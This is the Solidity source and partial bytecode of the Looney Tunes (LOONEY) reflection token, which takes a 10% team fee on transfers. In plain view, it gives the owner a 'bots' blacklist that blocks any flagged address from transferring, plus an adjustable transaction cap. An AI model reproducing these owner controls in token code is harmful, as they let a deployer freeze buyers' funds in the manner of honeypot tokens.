contract LooneyTunes is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Looney Tunes";
string private constant _symbol = "LOONEY";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3100000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e7a565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612981565b61045e565b6040516101789190612e5f565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061301c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061292e565b61048d565b6040516101e09190612e5f565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613091565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a0a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b1919061301c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d91565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e7a565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612981565b61098d565b60405161035b9190612e5f565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c1565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a64565b6110ab565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128ee565b6111f4565b604051610418919061301c565b60405180910390f35b60606040518060400160405280600c81526020017f4c6f6f6e65792054756e65730000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161379860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f5c565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f5c565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4c4f4f4e45590000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f5c565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133d9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613332565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611dda565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f5c565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612fdc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128c1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128c1565b6040518363ffffffff1660e01b8152600401610df9929190612dac565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128c1565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612dfe565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a91565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550672b05699353b600006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612dd5565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a37565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f5c565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f1c565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061206290919063ffffffff16565b6120dd90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e9919061301c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fbc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612edc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611441919061301c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f9c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e9c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612f7c565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612ffc565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b601e42611a4c9190613152565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611dda565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612127565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e7a565b60405180910390fd5b5060008385611c649190613233565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc16002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cec573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3d6002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d68573d6000803e3d6000fd5b5050565b6000600654821115611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90612ebc565b60405180910390fd5b6000611dbd612154565b9050611dd281846120dd90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1257611e11613408565b5b604051908082528060200260200182016040528015611e405781602001602082028036833780820191505090505b5090503081600081518110611e5857611e576133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611efa57600080fd5b505afa158015611f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3291906128c1565b81600181518110611f4657611f456133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fad30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612011959493929190613037565b600060405180830381600087803b15801561202b57600080fd5b505af115801561203f573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207557600090506120d7565b6000828461208391906131d9565b905082848261209291906131a8565b146120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c990612f3c565b60405180910390fd5b809150505b92915050565b600061211f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217f565b905092915050565b80612135576121346121e2565b5b612140848484612213565b8061214e5761214d6123de565b5b50505050565b60008060006121616123f0565b9150915061217881836120dd90919063ffffffff16565b9250505090565b600080831182906121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd9190612e7a565b60405180910390fd5b50600083856121d591906131a8565b9050809150509392505050565b60006008541480156121f657506000600954145b1561220057612211565b600060088190555060006009819055505b565b60008060008060008061222587612452565b95509550955095509550955061228386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ba90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236481612562565b61236e848361261f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123cb919061301c565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612426683635c9adc5dea000006006546120dd90919063ffffffff16565b82101561244557600654683635c9adc5dea0000093509350505061244e565b81819350935050505b9091565b600080600080600080600080600061246f8a600854600954612659565b925092509250600061247f612154565b905060008060006124928e8787876126ef565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125139190613152565b905083811015612558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254f90612efc565b60405180910390fd5b8091505092915050565b600061256c612154565b90506000612583828461206290919063ffffffff16565b90506125d781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612634826006546124ba90919063ffffffff16565b60068190555061264f8160075461250490919063ffffffff16565b6007819055505050565b6000806000806126856064612677888a61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126af60646126a1888b61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126d8826126ca858c6124ba90919063ffffffff16565b6124ba90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612708858961206290919063ffffffff16565b9050600061271f868961206290919063ffffffff16565b90506000612736878961206290919063ffffffff16565b9050600061275f8261275185876124ba90919063ffffffff16565b6124ba90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278b612786846130d1565b6130ac565b905080838252602082019050828560208602820111156127ae576127ad61343c565b5b60005b858110156127de57816127c488826127e8565b8452602084019350602083019250506001810190506127b1565b5050509392505050565b6000813590506127f781613752565b92915050565b60008151905061280c81613752565b92915050565b600082601f83011261282757612826613437565b5b8135612837848260208601612778565b91505092915050565b60008135905061284f81613769565b92915050565b60008151905061286481613769565b92915050565b60008135905061287981613780565b92915050565b60008151905061288e81613780565b92915050565b6000602082840312156128aa576128a9613446565b5b60006128b8848285016127e8565b91505092915050565b6000602082840312156128d7576128d6613446565b5b60006128e5848285016127fd565b91505092915050565b6000806040838503121561290557612904613446565b5b6000612913858286016127e8565b9250506020612924858286016127e8565b9150509250929050565b60008060006060848603121561294757612946613446565b5b6000612955868287016127e8565b9350506020612966868287016127e8565b92505060406129778682870161286a565b9150509250925092565b6000806040838503121561299857612997613446565b5b60006129a6858286016127e8565b92505060206129b78582860161286a565b9150509250929050565b6000602082840312156129d7576129d6613446565b5b600082013567ffffffffffffffff8111156129f5576129f4613441565b5b612a0184828501612812565b91505092915050565b600060208284031215612a2057612a1f613446565b5b6000612a2e84828501612840565b91505092915050565b600060208284031215612a4d57612a4c613446565b5b6000612a5b84828501612855565b91505092915050565b600060208284031215612a7a57612a79613446565b5b6000612a888482850161286a565b91505092915050565b600080600060608486031215612aaa57612aa9613446565b5b6000612ab88682870161287f565b9350506020612ac98682870161287f565b9250506040612ada8682870161287f565b9150509250925092565b6000612af08383612afc565b60208301905092915050565b612b0581613267565b82525050565b612b1481613267565b82525050565b6000612b258261310d565b612b2f8185613130565b9350612b3a836130fd565b8060005b83811015612b6b578151612b528882612ae4565b9750612b5d83613123565b925050600181019050612b3e565b5085935050505092915050565b612b8181613279565b82525050565b612b90816132bc565b82525050565b6000612ba182613118565b612bab8185613141565b9350612bbb8185602086016132ce565b612bc48161344b565b840191505092915050565b6000612bdc602383613141565b9150612be78261345c565b604082019050919050565b6000612bff602a83613141565b9150612c0a826134ab565b604082019050919050565b6000612c22602283613141565b9150612c2d826134fa565b604082019050919050565b6000612c45601b83613141565b9150612c5082613549565b602082019050919050565b6000612c68601d83613141565b9150612c7382613572565b602082019050919050565b6000612c8b602183613141565b9150612c968261359b565b604082019050919050565b6000612cae602083613141565b9150612cb9826135ea565b602082019050919050565b6000612cd1602983613141565b9150612cdc82613613565b604082019050919050565b6000612cf4602583613141565b9150612cff82613662565b604082019050919050565b6000612d17602483613141565b9150612d22826136b1565b604082019050919050565b6000612d3a601783613141565b9150612d4582613700565b602082019050919050565b6000612d5d601183613141565b9150612d6882613729565b602082019050919050565b612d7c816132a5565b82525050565b612d8b816132af565b82525050565b6000602082019050612da66000830184612b0b565b92915050565b6000604082019050612dc16000830185612b0b565b612dce6020830184612b0b565b9392505050565b6000604082019050612dea6000830185612b0b565b612df76020830184612d73565b9392505050565b600060c082019050612e136000830189612b0b565b612e2060